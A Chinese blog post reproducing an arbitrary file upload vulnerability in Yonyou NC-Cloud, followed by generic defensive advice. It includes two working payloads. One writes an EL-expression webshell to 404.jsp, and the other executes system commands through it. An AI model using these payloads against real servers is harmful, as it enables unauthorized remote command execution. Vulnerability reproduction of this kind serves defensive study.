当前位置: 首页 > news >正文

用友全版本任意文件上传漏洞复现

声明
本文仅用于技术交流,请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
文章作者拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
 

漏洞原理

用友NC-Cloud最近爆出存在全版本任意文件上传漏洞的问题。现在已经确认了这个漏洞可以被攻击者利用,目前不明确此漏洞适用的最低版本。攻击者可以通过该漏洞将任意文件上传至服务器,并以此将webshell上传至服务器,从而获得服务器的命令执行权限。

漏洞利用

利用此漏洞需要俩段poc

第一段POC:

{"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["${param.getClass().forName(param.error).newInstance().eval(param.cmd)}","webapps/nc_web/404.jsp"]}

 执行后有两种结果,一种是404了,另一种是200,经测试这两种回显都是上传成功。

第二段POC来进行命令执行:

cmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec("whoami").getInputStream())

 漏洞复现-POC

 防御建议

要防御用友NC-Cloud的全版本任意文件上传漏洞问题,以下是一些常见的防御措施:

  1. 及时升级补丁:确保用友NC-Cloud的软件版本处于最新状态,及时应用由供应商发布的安全补丁和更新。这有助于修复已知漏洞并提高系统的安全性。

  2. 限制文件上传:通过限制用户上传文件的类型、大小和目标路径,可以有效减少任意文件上传漏洞的风险。例如,验证文件扩展名和内容,使用白名单机制,只允许特定的文件类型上传。

  3. 文件上传验证:在服务器接收到上传文件时,进行文件验证是很重要的。可以使用安全的文件验证机制,例如校验文件的魔术字节、文件头信息、文件结尾等,以确保上传的文件是预期的有效文件,并阻止上传恶意文件。

  4. 强化访问控制:实施严格的访问控制措施,包括强密码策略、角色权限管理和多因素身份验证,以减少未授权访问和滥用漏洞的风险。

  5. 安全审计和监控:实施安全审计和监控机制,定期检查系统日志、访问日志和上传文件日志,及时发现异常活动和潜在的攻击行为。

  6. 安全教育和培训:对系统管理员和用户进行安全教育和培训,提高其安全意识,让他们了解常见的安全威胁和最佳实践,以便正确地使用系统和应对潜在威胁。

http://www.lryc.cn/news/95692.html

相关文章:

  • 程序员面试系列,MySQL常见面试题?
  • 前端Web实战:从零打造一个类Visio的流程图拓扑图绘图工具
  • 2023牛客暑期多校第二场部分题解
  • 20230724将真我Realme手机GT NEO3连接到WIN10的电脑的步骤
  • 黑马 pink h5+css3+移动端前端
  • Docker的七项优秀实践
  • 【数据结构】24王道考研笔记——图
  • zabbix钉钉报警
  • Spring 源码解读
  • 练习时长两年半的网络安全防御“first”
  • HttpRunner自动化测试之响应中文乱码处理
  • idea使用命令将jar包导入到maven仓库中
  • zookeeper学习(一) Standalone模式(单机模式)安装
  • native webrtc支持切换音频采集设备和获取裸流
  • HR怎么看待PMP证书呢?
  • API接口:如何通过使用手机归属地查询
  • 小创业公司死亡剧本
  • 国产化的接口测试、接口自动化测试工具Apipost的介绍及使用
  • 【MySQL】不允许你不知道如何插入数据
  • Vue 渲染流程详解
  • 10分钟内入门 ArcGIS Pro
  • 【ribbon】Ribbon的使用与原理
  • axios封装到reques.js文件中
  • 学好Elasticsearch系列-核心概念
  • 扩展点都不知道不要说你用了Spring Boot
  • LangChain大型语言模型(LLM)应用开发(五):评估
  • Angular:动态依赖注入和静态依赖注入
  • Java前后端交互long类型溢出的解决方案
  • Lua学习-1 基础数据类型
  • 普通的计算机专业大学生如何学习才能找到好offer